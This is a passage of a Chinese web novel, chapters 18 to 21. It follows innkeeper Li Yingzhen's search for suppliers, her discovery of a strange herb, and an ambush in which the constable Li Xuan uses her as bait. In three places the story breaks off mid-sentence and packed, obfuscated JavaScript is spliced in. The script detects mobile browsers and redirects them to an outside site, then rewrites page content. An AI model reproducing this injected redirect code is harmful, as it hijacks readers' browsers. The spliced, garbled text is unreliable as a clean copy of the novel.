她原想留下帮忙,但李弦一句“男女有别”,她便只好去煎药。 黎映真送药来时,房里只有一个人陪着李弦。 见他来了,那人不多留就走了。 看他走时匆忙的样子,黎映真奇怪道:“你这些朋友怎么看起来怪怪的?” “他们办事行,跟人打交道就略逊一筹了。”因在软枕上趴着,李弦的口齿不太清楚。 黎映真才不信他这说辞,只当是他们密谋大事太过紧张所致。 她在床边坐下,见李弦要起来,忙道:“才换的药,当心扯到伤口,你别动了,我喂你喝。” 想到自己没这方面经验,她冲李弦挤出一个尴尬的笑容,道:“我会尽量温柔的。” 18. 第 18 章 床上趴着的李弦这回却不听话了。 黎映真看着他龇牙咧嘴地爬起来,身子都没坐稳就朝自己伸出手。 没等她反应,手里的药碗就被夺了去。 “哎!”黎映真失声。 只瞧着李弦仰头,咕嘟几声将一整碗汤药都喝光了,动作一气呵成,倒是有几分豪气。 可就算是有这英雄气概,一碗又苦又涩的汤药下肚,李弦那张平日笑如春风的脸也成了皱巴巴的纸,却是嘴硬道:“这玩意儿这么苦,一口一口喝多折磨人。” 黎映真低笑一声,从他手里接过药碗,再递上手巾,点头附和道:“李捕快说得对。喝药如喝酒,一口闷,厉害啊。” 有人顿时眉飞色舞起来,瞧着那块手巾不知在想什么,顿了顿才去擦嘴角的药渍。 擦完了,见黎映真向自己伸着手,他问道:“做什么?” “还我。”黎映真道,那手巾是她的。 李弦却是攥在手里,道:“洗干净了再还你。” 横竖一块不值钱的东西,黎映真没放在心上,随他去了。 她又伸手摸了摸李弦的额头,道:“还热着呢,以防万一,今儿晚上,我留下。” 李弦没说好,也没说不好,只等黎映真将药碗收拾了,才道:“那床给你睡。” 眼见他要下来,黎映大步回到床边,抬手就推在李弦没受伤的肩上。 又觉得自己越界了,她这就收回手,朝床褥看了一眼,道:“上去。” 李弦坐着,仰头看着她道:“那你晚上睡哪儿?我这儿就一张床。” “管好你自己吧。”皱了皱眉,黎映真催促道,“回去趴好,别小病养成大病,回头还要我送你回去。” 嘴上数落着李弦,黎映真已动手扶着那人重新趴回去,还不忘替他将床褥铺平,以免硌着他。 于是,黎映真在李弦房里陪了一整夜。 她其实因为担心供货商的事,没多少睡意,却怕吵着李弦,所以在桌边趴着,不敢有什么动作。 夜里静悄悄的,连李弦稍重的呼吸声也能听见,不过节奏平稳,想是没什么问题。 这样到了后半夜,反而是这均匀的呼吸声仿佛有了催眠的功效,慢慢让她合上了双眼。 翌日清早,黎映真梳洗完,特意陪李弦一起吃的早膳。 喝了几口粥,李弦忽然问道:“要不要我跟你一块儿去铺子里?” “有阿琳姐姐在,你去凑什么热闹?”黎映真头都没抬,“虽然热退了,但你还有伤呢,老实待在这儿做你的军师吧。” “呵,当你夸我足智多谋。”李弦乐呵呵地继续喝粥。 黎映真这才瞥了他一眼,满是嫌弃。 可看他自得其乐地吃东西的样子,她不由自主咬着筷子,嘴角有了些弧度。 收拾完毕,黎映真跟阿琳去了一间粮行。 粮行门面气派,伙计穿着整齐,见了阿琳都客气地出来相迎接。 粮行的冯掌柜给了阿琳面子,说话也都是客客气气的,但一听黎映真要采购的量不算大,他便沉默了。 黎映真虽有关于客栈未来的发展计划,但眼下还一切还没有安定下来,她确实没有太多资金,而且两地也有些路程,成本摆在眼前,冯掌柜犹豫甚至是有意回绝,也是情理之中。 情势如此,黎映真不多停留,又跟阿琳拜访了两家药材行和蔬果行,但掌柜的都表示昨日有大主顾临时定了他们的货,眼下他们也匀不出多余的材料给黎映真。 从蔬果行出来,阿琳道:“没事,还有几家没去呢,我们再试试。” 两人又去了一家粮行,结果也是存货都被大主顾定走了。 “谁这么大手笔一口气要那么多货?这可是我们城里最大的几家铺子了。”阿琳疑惑道。 愁云笼在黎映真眉心,她能猜不到这是谁的手笔吗? “这只是托词,想是有人从成安县堵我堵到茉城了。” “黎掌柜,你到底得罪了什么人?” “宇宙超级无敌霹雳大坏蛋。”她故作轻松,却也只在这句话后无奈地叹了一声。 阿琳听了朗声笑道:“哈哈哈,李哥说你跟别家姑娘不一样,时不时就会说点别人听不懂的新词儿,有意思。我还道他说着玩的,原来是真的。” 如今,她已将李弦这话当做“夸奖”,心下坦然,耸了耸肩,道:“成安县出了名的疯妇嘛,自然跟别人不一样。” “李哥不是这个意思。” “管他呢,好话从他那张嘴里出来都不中听。” 嘴上跟阿琳说说笑笑,黎映真心里却明白,眼下就是黎文远利用商会的影响要掐断她和正规大宗供货商合作的可能,想要把她逼入绝境。 所以她没有必要再联络那些商铺,得改换思路,走走小道看看。 茉城东市聚集了不少零散货商,各种农产品、山货、日用杂货琳琅满目。叫卖声、讨价还价声、牲畜鸣叫声混杂在一起,市井气息极其浓郁。 黎映真穿梭在拥挤的人流中,查看摊位上食材的品相,或是跟摊主攀谈,了解产量和长期供货的可能。 她本就目标明确,加之发现这里确有可以发掘的资源,便沉静其中,没有发现身边的异常。 一个老农摆出的秋葵品相不错,连带摊上的其他菜品看着都十分新鲜。 黎映真便想跟他聊一聊。 “让一让!让一让!” 一个推着独轮车的大汉莽莽撞撞地挤了过来,冲破周围的人群,快得像是在逃避追杀似的。 阿琳原也在旁边的菜摊挑菜,想着顺路带点回去,当看到那大汉推着车过来时,已来不及去拉黎映真。 “小心!” 熟悉的声音在耳边响起,满是急切与紧张。 视线里还是纷乱的人群,肩头已被一阵暖意握住。 身体随着那股力道倒向墙边。 她却在包裹住自己的那阵温暖里张开双臂,一把抱住近在咫尺的人,用全部的力气压着,往远离那辆独轮车的方向推。 “唔……” 闷哼声从头顶传来,带着隐忍。 耳畔是快速剧烈的心跳声,隔着胸腔、隔着衣衫,一下一下敲打着黎映真的耳膜。 而她腔子里的那颗心,竟神奇得与之同步。 “没事吧?”从头顶送来的声音听来有些吃力。 她此时才感觉到后脑被宽大的手掌护着,尽管在方才的那一刻,是她伸手想要抱住李弦,挡开那辆独轮车。 “没事……”尾音里还带着惊魂未定的粗喘。 她还抱着李弦,前一瞬的惊慌,多少让她想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963042|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了昨日在树林中遇险的情景,后怕在所难免,便有些失神。 她没动,李弦也不动,见阿琳终于过来,他只是摇了摇头。 听见她还在发颤的呼吸,他轻轻拍了拍怀里那颗毛茸茸的脑袋,咬牙咽下了左肩伤口传来的疼痛。 逐渐回了神,黎映真从李弦怀里退开,问道:“你……你怎么……不是让你待在房里休息吗?” 嘴里责怪,但眼底自有关切之色闪动。 “嘶。”李弦反手推着身后的墙面借力站起,动作看来艰难。 见黎映真主动上来相扶,他不推脱,只是刚才那一撞虽然不重,可总是碰到了伤口,难免发疼。 “不然我先送你回去看看伤口怎么样?” “没事,不用。他们都出去做事,我躺不住,出来透透气。”借着黎映真的力,他慢慢在集市里走了起来。 黎映真左顾右盼道:“阿琳姐姐呢?” “我在,她自然就回去了。衙门里也有事等着她呢。”李弦道。 方才那一支插曲已毕,东市又恢复了最初的喧嚷热闹。 两人慢悠悠在人群中走着,李弦问道:“你跟那老农说什么?我看他摊上的菜怪模怪样的,能吃?” “当然能吃,清热解毒,好东西。”见前头人流密集了些,黎映侧身帮李弦挡开,心思一转,看着他笑道,“你不会不认识秋葵吧?” 她跟发现了什么新奇似的盯着李弦,眸光亮得他能在她眼里看见自己的样子。 眨了眨眼,凝固的神情好不容易才重新活动起来,李弦的视线在周围扫了一圈才重新回到黎映真身上。 他岔开话题,问道:“今日情况怎么样?” “我被人做局了。”黎映真瞥他一眼,已不在乎当着这人的面说些什么“新词”,“不过,也许能在这里找到点补救的法子。” “那手脚也得快点,迟则生变。”李弦提醒道。 黎映真点头道:“嗯,我已有些眉目了,再看看,回去了就动手。” 又问了几个摊位,黎映真在一个卖山菌的小摊前停了下来。 李弦看她跟摊主谈得投入便不去打扰,安静在一旁等着。 视线扫过不远处一个卖竹编器具的摊位时,他眸光骤然一变。 察觉到李弦的异常,黎映真转身问道:“怎么了?” 她没看见有个穿着灰布短褂的汉子迅速汇入人流中,眨眼间就没了踪迹。 “李弦?” 视线中李弦眉头紧锁,目光锐利如鹰隼,正在市集汹涌的人潮中反复搜寻着什么。 她静静等着李弦收回目光,听见他反问“怎么了”,这才露出笑容,道:“我都谈妥了,不过还要请李捕快帮我一点点小忙。” 李弦迟迟没有完全将视线从那个汉子离开的方向收回,脸却早转向了黎映真,道:“你算好数目,余下的我安排。” 他无意识又皱了皱眉的样子被黎映真捕捉到,于是她特意往他后背看了看。 秋衣虽不厚,但外衫上居然也渗出了浅浅的血迹。 见她突然沉了脸色,李弦知道瞒不住了。 下一刻,便听她气道:“人长嘴,是用来吃饭和说话的。” 往日也算能说会道的李弦,这会儿却只剩摸摸鼻梁,强颜欢笑,笨嘴拙舌的份儿了。 19. 第 19 章 到茉城的第三日,黎映真依旧起了个大早。 李弦起得也早,说是来找她一块儿用早膳。 “昨日收购的食材都装车送回去了,加派了押送的人手,放心吧。”李弦道。 黎映真正喝粥,点头应了一声,待咽下去了才问道:“老梁不是说你来办大事?但你从昨天开始就好像没什么事。” “欲速则不达。”李弦又是那副卖关子的模样。 黎映真没搭理他,但见他今日的动作似又活络了一些,道是他身体底子好,伤势恢复得快。 “今日准备去哪儿?”李弦喝着粥,视线仍停在黎映真身上。 “昨天伤口都快绷了你还不安分。”黎映真道。 说话间,阿琳急匆匆过来,说是衙门临时闹了出官司,她没法陪着黎映真出去了。 黎映真出初来乍到,人生地不熟,单独出去必定不安全。 于是乎李弦自告奋勇,揽了这个任务,又说是忙里偷闲,去城郊透透气。 大供货商的路被堵死,零散采购成本高且不稳定,难以满足客栈长期需求,也绝非长久之计。 必须另寻突破口。 她这才想去城郊看一看,想是那边应该有直接来自农户的货源,或许能找到长期合作的对象。 茉城周边有几个村子,为了节省时间,他们马车代步,很快出了城。 比起昨日喧嚣的市集,城郊显得宁静许多。 稻田青绿,菜畦整齐,偶有农人荷锄而过。 他们走访了头两个村子,询问是否有富余的粮食蔬菜可售,但农户大多自给自足,即便有多的,存量也不大,并不能保证长期供应。 如此过去了一个上午,他们收获寥寥。 马车里,李弦在吃干粮,黎映真趴在窗口,心事重重。 “滴!”脑海里忽然蹦出系统音,“开启临时【识别】功能,协助宿主完成任务。” “什么东西?” “搭档别怕,这是我用……反正是我想办法开启的临时新功能,对你应该有帮助。” “帮助……” 话音未落,田边一片看似荒芜的坡地上几丛不起眼的野草引起了她的注意。 与此同时,脑海里闪过一段信息。 【物品】:未知草本植物 【状态】:生长旺盛,新鲜度极佳。 【成分】:复杂,含独特芳香油脂及未知活性成分。 【评价】:具潜在食用及药用价值,安全性未知,需进一步分析。 “停车!”黎映真喊道,不等马车停下就迫不及待跳了下去。 她跑向那丛野草,嗅了嗅,真有一股奇异的清香,似薄荷但带着一丝似有若无的甘甜。 只是这么闻一下,还有些提神醒脑。 李弦追了过来,问道:“怎么了?” “等一等。” 回了话,她掐了一段草茎,发现有清澈的汁液流出,香气越发浓郁。 见李弦矮下身来,她捧着草叶递给他,道:“你闻闻。” 他凑上来闻了闻,点头道:“什么味儿,有点怪。” 正巧身边经过一个扛着锄头的老农,瞧见他俩对这丛野草好奇,便停下来,热心道:“小姑娘,这臭草有啥好看的?味儿不好,牲口都不爱吃,我们都当杂草锄掉哩。” “臭草?”黎映真又闻了闻,分明不是臭的。 她让李弦再闻闻,李弦只道味道怪,但说不上臭。 黎映真站起身,礼貌问道:“老伯,这草一直长在这儿吗?” “可不是,你瞅瞅,这一片多得很。” “它就叫臭草?有没有其他人用过它?” 老农摇头道:“这东西没啥用。以前闹饥荒的时候,有人试着吃过,又苦又涩,吃了还容易蹿稀,后来就没人碰了。” 黎映真第三次闻了闻手里的草,集中精神,试图连接系统。 “你这功能不会诓我吧?” “我们是搭档,我都帮你骗主机了,怎么还会诓你?” 不知是不是上了新功能导致系统不稳定,这家伙才说完就“哔”的一声不见了。 脑海里反复琢磨着系统提示的“潜在价值”,黎映真觉得也许应该试一试。 说不定眼前这就是一种尚未被发掘的本土香料或草药。 如果能够确定它的用途和安全性,那就能成为客来居独一无二的特色,甚至带来意想不到的收益。 心底隐隐有些兴奋,但黎映真努力克制着,对老农道:“老伯,现在可有时间?” “暂时没有活要做,小姑娘,有什么事?” “我想收这草,请老伯帮我收集一些,要连根带土,尽量保持新鲜,我按野菜的价格收。” 老农震惊不已,睁大了双眼看着黎映真,又看看她身边的李弦,问道:“小姑娘,你没开玩笑吧?” “我家妹妹就喜欢研究这些东西,无奈我受了伤,这才要麻烦老伯。”李弦上前,往老农手里塞了碎银子,笑道,“还要麻烦老伯先别将这事说出去才好。” 黎映真忙点头道:“对,请老伯暂时保密。若这草真有用,以后我还找您买。” 她后半句特意压低了声音,老农自然明白了其中的意思。 他看了看手里的碎银子,乐呵呵应道:“小……老板几时要?” “晚些时候我就让人来收,麻烦老伯这就动手了。”李弦道。 有了这个发现,已经愁了几日的黎映真脸上终于真正有了些光彩。 回到马车上时,她还拿着那半截草研究,跟捡了宝贝似的,爱不释手。 李弦看她又摸又闻的,像是得了玩具的小孩儿一样,不由笑道:“恭喜黎掌柜喜获至宝。” 听得出他又在怪腔怪调,可这会儿黎映真心情好,便不与他一般见识,笑睨了他一眼,道:“那我就不恭喜李捕快上下嘴皮子一碰,平白多个妹妹。我可没哥哥。” 听见李弦一声轻笑,黎映真道他还是没明白自己的意思。 她坐去窗口,拿了那半段草茎摆在李弦眼前,郑重其事道:“如果这真是新香料,以后不光可以入菜,还可以尝试开发药膳。 “事实证明,我的药膳还是受欢迎的,所以我要多在这方面上下功夫……” 注意到李弦脸上出现了和昨日在集市时一样的神情,她即刻收了声。 “没事。”李弦朝没车厢里头看了一眼。 黎映真即刻过去坐好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968463|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,问道:“直接回去吗?” “今日没帮手,回去吧。”李弦放下车窗帘子,让车夫调头。 因这变故,车内的气氛顿时凝固下来。 注意到黎映真连手里的新香料都没心思看了,李弦一改方才紧绷的神情,嘴角扯出几分笑意道:“对方应该也只是跟着查看情况,不会轻易动手。” “知道了。”听着这样的安慰,黎映真还是没觉得轻松。 她抬眼去看李弦,见他已经转过身,只留给自己一个靠着窗口的背影。 “进了城,你跟我一起回去吗?” “你先回去吧,等着我让人给你把那车宝贝带去给你。” 黎映真低头看着掌心里那半截草茎,越想越不放心,便又坐回刚才的位置。 跟李弦面对面。 李弦不防她忽然这样严肃的神情,支着脑袋,浅笑着道:“没事的。” “我们是一起出来的,中途折返已经不正常,如果我突然走了,他们不就知道我们察觉到了?” “继续说。” “继续什么呀,对方都觉察到了,自然不利于你行动。” 她有些急,李弦眼底的笑意却浓了些,反问道:“记得你来茉城是做什么的?” 时间已经过去一半,今日又不能继续原本的计划,对她来说损失重大。 “但我也是有收获的。”她拨弄着掌心那半截草茎,含糊着说了一句。 她这像是犯了错的委屈劲儿看来总是可怜,不像是能为了客栈夜奔而出、面对危险还想着保护别人的模样。 可她偏就是后者。 不觉李弦落在自己身上的目光有了变化,她只撇了撇嘴,重新抬头去看他,道:“反正也要回去,我们作戏做全套。” “你知道我想做什么?”李弦从她手里拿过那半截草茎闻了闻,“味道还是怪,你确定能用?” 黎映真其实不确定李弦的意思,但他既然这样问了,她便干脆答了。 学着李弦刚才的样子,她一条手臂曲起架在车窗上,脑袋一歪,借力支着,道:“我哪能知道李捕快想请君入瓮呢。” 有人不出声,从怀里掏了块手巾出来,将那半截草茎擦了擦。 “我的手巾……” 擦干净了草茎,李弦却没将手巾还她,还是那句“洗干净了再还你”。 说完,那半截草茎被他叼进嘴里。 手巾自然又被收起来了。 “一块手巾都稀罕,送你了。”黎映真咕哝一句,转头看向窗外。 车外秋光明媚,还是他们来时的样子,可她的心境已有了变化。 视线顺着车窗、车厢壁,不由自主爬去了李弦身上。 他看来心情不错,正半眯着眼欣赏城郊景色,完全没被尾随跟踪的暗哨影响了心情。 那半截草茎在他嘴角一翘一翘的,和他这会儿悠然自在的模样倒是相得益彰。 可几句话之前,他还因为发现了跟踪者而让她去远离窗口的地方待着。 黎映真想是那天在林子里的事也让他心有余悸,否则何必如此紧张。 但眼下,他又要做出这副惬意假象。 这人欲盖弥彰的样子,一点都不可爱! 20. 第 20 章 马车驶回茉城,停在了东市附近。 不知李弦做了什么安排,黎映真只是安静跟在他身边。 “这人多。” 身边人忽然偏过头,朝她凑近了一些,低声说着。 “我知道。” “而且地形复杂。” 昨日来时顾着采购食材,黎映真只在最主要的一条道上逛了会儿,并没有留意其他四通八达的小道巷子。 知道暗处有人盯着,她不敢明目张胆地张望,又因为周围人多嘈杂,她怕李弦听不清,遂也往他身边凑了凑,道:“你动手前跟我说一声,我好有个准备。” “我的意思是,你听我的,从东边的巷子……”李弦几乎贴在她耳畔,将一条逃生线路告知。 身边来来往往那么多人,声音混杂在一起,就算两人贴得近,要听清李弦说话,也需黎映真费点劲儿。 她尽量迁就李弦动作不便,往他身边凑,可那人每每往后缩,她是真的听不清。 “你做什么!”黎映真急道,“这儿真的太吵了,你又不能大声说,我怎么听?” 她气呼呼地瞪着李弦,却见他像是手足无措的样子。 “你是不是不舒服?”说着她抬手又要去摸他额头。 垂着的手被突然握住,李弦步似流星地就走。 黎映真只能跟着,脚步跟不上还改成了小跑,却没让他停下,只是不知不觉间,自己的另一只手已扶上了那人的小臂。 她跟在李弦身边穿过不息的人流,七拐八弯地过了好几条巷子。 喧闹的声音被逐渐甩在他们身后,因人群哄聚才有的热浪因此消散在吹过巷子的风里。 终于,在一个拐角处,李弦停下脚步。 黎映真下意识往他身边靠,分明是紧张的,可那一双眼睛还在警觉地四下张望。 李弦莞尔,侧过头与她道:“前面第二个拐角右转,是条死巷,旁边有间废弃的土坯房。我引他们进去,你从那个拐角左转一直走就能进自己人的盯梢范围。如果遇见麻烦……” 手里突然被塞了一包东西。 “这是什么?”黎映真问道。 “刚从路边摊上顺的,照着对面眼睛撒就行,然后大叫救命。” 听着像笑话,黎映真被逗笑的同时见李弦那双总是含笑的眉眼少了往日的调笑,她立即收敛笑意,点头道:“知道了,跑、撒、叫,逃命三部曲。” 这回换李弦因她精简的总结,又自眼底溢出笑意。 “等等。”本就拉着李弦的手不禁用力了一些,道,“你还受着伤,一个人行不行?” 李弦笑叹道:“你确定只有我一个?” 这下换黎映真被问住了,在这茉城里,李弦总比她多的是办法。 “你跟我到这儿已很危险了,对方应该也熟悉这儿的地形,真有危险,我们容易被打埋伏。眼下,我只是找个好地方请他们出来聊聊。既是神秘大事,你也不方便在场。而且,你也算替我找帮手去了。” 李弦说得在理,黎映真自不好再跟着。 于是她按照李弦说的,到了第二个路口时,一接到李弦的暗示,扭头就往左边走。 没了李弦在身边,这过于安静的巷子里连风声都清晰可闻。 巷道又长又窄,两边的墙又高,天也因此只成了一道窄窄的缝,最终消失在和巷子的连接处。 越向前走,黎映真的心就越慌,总觉得身边的那些已经斑驳破损的砖墙里像是长了眼睛出来,窥伺着她的一举一动。 只要她一停下,那些躲在暗处的危险便会全部一扑而上。 攥紧了手里那包李弦交给自己的东西,黎映真恨自己不能生出翅膀直接飞出这幽寂的巷子。 而眼前的巷道还是那么长,总也走不到头似的。 脚下越来越快,禁不住心底一阵接一阵的慌张,她终究在巷子里跑了起来。 墙上突然跳下一道黑影,跟那日在树林里遇见的一样,蒙着面。 吓得屏住了呼吸,黎映真不由抬起手,想要找机会用李弦给的那包东西。 蒙面人看着像是注意到她的动作,抬手便是一声清脆剑鸣,寒光出鞘。 前路被封,跟黑衣人的距离也不够,而此时还没有李弦所谓的“自己人”出现,证明她还没有进入安全区域,这会儿就算喊救命也未必有用。 所以…… 她转头就跑。 身后寒意紧追,黎映真不敢有丝毫放松,拼了命地跑。 这巷子好像被拉长了一般,分明进来时没觉得走多久,这会儿却总也跑不到头。 后头紧跟不舍的脚步越来越近,黎映真似乎能听见那黑衣人举剑,剑刃劈开秋风的声音。 “李弦,救命!” 不断积累在心头的恐惧终于达到顶峰,她再也忍不住大喊了起来。 背后凌冽的剑意冲涌而至,像是有高山压顶,迫得黎映真双腿发软,整个人倒了下去。 身体忽然被接住。 她一把抱住扑面而来的那股暖意,身子随着收在她腰间的力被带得只有足尖擦过地面。 金铁交击,又是如同那日在林子里的声音。 不同的是当时声音杂乱无章,而此时只有那不断响起的一种声响。 她躲在李弦怀里不敢多动,甚至不敢睁眼,便未曾看见自他眼底闪过的凌厉,还有他手下快如闪电的刀法。 “铛”的一声清亮尖锐,充斥在整条巷子里。 那声音震得黎映真耳膜生疼,她不得已抱紧了身边唯一的支撑,生怕一旦跟李弦分开,那剑击声便不只是被格挡在安全距离之外。 身体随着李弦的动作不停换着位置,她能感觉到揽在自己腰间的那条手臂渐渐没了最初的力道。 一想到李弦左肩还有伤,黎映真豁然睁开眼,抬头去看时,才发现在凉爽的秋风里,李弦脸上颈间也已沁满了汗。 又一次交锋后,李弦用力一推,蒙面人忌惮他手里的刀,向后撤退,拉开了一些距离。 “还怕不怕?”李弦趁机问道。 她怕,但这种时候除了怕,还应该做点别的。 “我可以。”她盯着李弦,神情坚决。 “那听我指令。” 这次,李弦没等她应答,直接冲了上去。 仍是拿着那把刀,仍是用左臂抱着她。 而她,睁开了双眼,一刻不曾松懈地盯着眼线纷乱的刀光剑影。 “撒!” 短促的一声在又一次响起的刀吟声中传来。 黎映真看准时机,冲着蒙面人,将早已打开的那包东西直接撒了出去。 味道呛得很,是胡椒粉。 感觉到腰间的手松开,她立刻从李弦身边退开。 但腿是软的,整个身子也都是软的,她几乎是跌跌撞撞地摔在了墙下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975561|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 耳边仍有打斗的声音,但她没有力气去管,大口喘着气,却因为空气干燥得整个喉咙都有种撕裂的感觉。 不适感最强烈的时,喉间甚至隐约有股血腥气。 坐在墙根努力平复着呼吸,黎映真也渐渐想明白了事情怎么会和李弦交代的完全不一样。 当头顶罩下一片阴影,她却没有抬头。 眼前出现一只手,向自己舒张着手掌,掌心有茧,是常年握刀的缘故。 黎映真扭过头,哪怕李弦蹲在自己跟前,她也没理他。 “你帮我看看后头怎么样?”李弦扭着身子,将左肩转到她面前。 黎映真只将脸又扭开些,拿衣袖擦着脸上的泪痕——刚才吓的,情绪一直没缓过来,她连几时哭的都没注意。 见李弦来扯自己的衣角,她用力抽回来,干脆整个人转过去,吸了吸鼻子,拒绝同他说话。 “真的疼。”李弦哎哟一声,却没得到来自黎映真的任何关注。 看他在自己身边坐下,黎映真抱着自己的衣袖衣角,一副坚决跟他划清界限的样子。 “是我不对,不该拿你当饵,引人出来。” 李弦听来诚挚的歉意被秋风送至。 也许是头一会儿听见他用这样诚恳谦卑的态度说话,黎映真心头一动,抱着衣角的手随之松了些。 可眉头还皱着,眼睛还红红的,两颊鼓鼓,显然没消气。 “哎。”李弦用手肘轻轻碰了黎映真。 豆绿色的身影又挪着转过去一些,还是不说话。 “黎掌柜。”他凑近过去,视线从黎映真肩头越过,看着她的侧脸。 她扭过头,还在生气。 “黎小姐。”他绕去黎映真面前堵着她,让她再转就得面对砖墙。 黎映真平日里也算是有仇报仇的性子,这会儿却一个字骂不出来。 就是不想理他。 “我不是你的福星吗?哪有不理自己福星的道理?”他又放缓了语调,像极了在哄孩子,硬是将自己满是歉意的一张脸挤去黎映真面前,好教她看见。 往日不是吊儿郎当,就是沉眉肃穆,这会儿倒是黎映真头一次见他这样低声下气,又温柔耐心的样子。 她不说话,他就眼巴巴等着,乖得像只听话的大狗。 她的目光左挪右挪,一会儿低头,一会儿去咬嘴唇,都是些细微的动作,但都落在了李弦眼里。 瞧见他嘴角扬了扬,黎映真嗔道:“你笑什么?” 总算听见她吭声,李弦这才真正笑了出来,道:“我高兴啊。” 以为他在笑话自己现在一副狼狈样,黎映真气上心头,一下打在他右边胸口,没好气道:“让你高兴。” 不料李弦越被打越是笑得肆意,明明说着疼,也不见动作有所收敛,笑得整个人都在颤。 “喏,你看。”他抬手往黎映真身后指了指。 她顺着他的指向回头看,只见巷子里已经散去烟尘的地上,躺着方才那个蒙面人,已被李弦打晕了,双手双脚被绑着,还因为中间又穿了一根绳索,手脚几乎被绑在一起,就像是绑猪似的。 她噗嗤一声笑了出来,也听见李弦在自己耳边发笑,声音比平日要低沉些,还怪好听的。 收回视线时,目光自他脸上扫过,恰是一阵温温热热的气息扑在颊侧。 痒,能渗进皮肤,挠在心头的那种。 21. 第 21 章 东市的一处僻静巷子里,被打晕的蒙面人依旧没有醒。 不远处的墙根下,黎映真抱膝坐在地上,背对着李弦,显然还有情绪。 距离方才以过去了一小会儿,体力恢复了些。 身后传来窸窣的声响,随即,那只带着薄茧的手掌又出现在眼前。 黎映真暗暗咬牙,仍然没理会李弦,自己扶着砖墙起来。 余光里李弦的身影走开,视线却不由自主地追在那人身后。 见他站在蒙面人身边,双手叉腰在想着什么,她想问要不要她帮忙,可话还没说出口,李弦已抬眼看向了自己。 她赶忙转身,不知怎的心虚起来。 又听身后那人道:“有劳黎掌柜跑一趟,回去叫人来带这家伙走。” 扶着墙的手虚握了几下,她到底还是忍着没跟李弦说话,直接往巷子外头跑去。 等黎映真叫了帮手回到巷子里时,李弦还是双手叉在腰间,整个人微微弓着背,眉头拧得紧。 看阿琳正要上去,她立刻拉了一把,道:“他的伤口应该彻底裂开了,你先帮他看看。我还有事,先走了。” 没给阿琳拦自己的机会,黎映真转头就走,只听着身后越来越远的人声和动静,心里又烦又乱。 在田边收的野草很快送了来,黎映真清点完后就请他们帮忙送回客栈,自己只留了一点儿,想先研究起来。 大半个下午,她几乎都闷头待在后厨,又是自己尝草,又试着拿来炒香,或是跟现有的食材混合做些小样,也算忙碌。 做完第三份小样的时候,后厨门口的地上拉出一道影子,叠在黎映真裙角。 她后脑跟长了眼睛一样,没回头看已知道是谁,仍旧没搭理,扇了扇小样上热腾腾的烟气,闻着还挺香。 拿起筷子吃的时候,门口的靴子提步跨了进来。 她充耳不闻,尽量背过身去,看着像是在护食。 “好香。”李弦恭维道,特意凑到她跟前,放低了身子,需仰面看她。 黎映真板着脸,目光在他脸上打了个来回,眼波一转,捧着小样转过身去,继续尝菜。 他没像在巷子里那样追着黎映真,老老实实站在她身后,半靠着放食材的桌案,视线早越过她肩头,已能瞧见她轻轻扇动的长睫。 “有个好消息告诉你。”他试图引起黎映真注意,有意说得认真了些。 无奈黎映真没中他的计,自顾自摆弄着桌上的食材,对他置之不理。 “那坏消息呢?听不听?”他扭过头,一副好整以暇的模样。 知道他是故意的,可这会儿手里的筷子不动了,才进嘴里的东西也没心思吃了,黎映真终于给了李弦回应。 虽然只是一个无声的且仍带着怨气的眼神。 李弦从桌上的筷筒里拿了筷子,正要去夹碟子里的菜。 “啪。” 清脆的一记声响,黎映真手里的筷子直接将他的打开了。 将小样拿远了,她道:“有话快说。” 李弦长长叹了口气,道:“从我们一起抓回来的那人嘴里问了些话出来,能与你说的好消息是,原先客栈下毒的事能结案了。” “什么意思?找到凶手了?”黎映真惊道,可从李弦略显凝重的神情中,她明白了什么,“坏消息是?” “周坚常年混迹的地下赌坊和死者有关联,赌坊的人利用逼周坚还债的机会,让周嫂在死者的菜里动了手脚,神不知鬼不觉。” 这话说得通,那是她和客来居倒霉? 直觉告诉黎映真并不是这么简单,可李弦的样子已是不愿意再透露了。 “那周嫂人呢?”黎映真问道。 李弦没作答,答案不言自明。 她仍不愿意相信,带着最后一丝希望问道:“不是活不见人,死不见尸吗?” “随处找个山沟一丢,也不是轻易能找到的。” 虽说她因周嫂陷害才有先前的牢狱之灾,但真当知道自己认识的人死于非命,黎映真心里还是有些说不出的滋味。 她正收拾情绪,可桌上三碟菜只剩了两碟。 少了的那一碟正被李弦捧着大快朵颐。 不知是不是他真饿了,只这一碟素菜都吃得津津有味,那有滋有味的模样看得黎映真的食欲跟着渐长。 可她还不想现在就原谅李弦,于是故意挑刺道:“吵死了。” 她去一旁的菜篓里拿剩下的草出气,想着那些草茎是李弦,每掐一下都格外用力。 “别说,加了你要的那个草,这菜有股清香,吃着开胃。”李弦夸道。 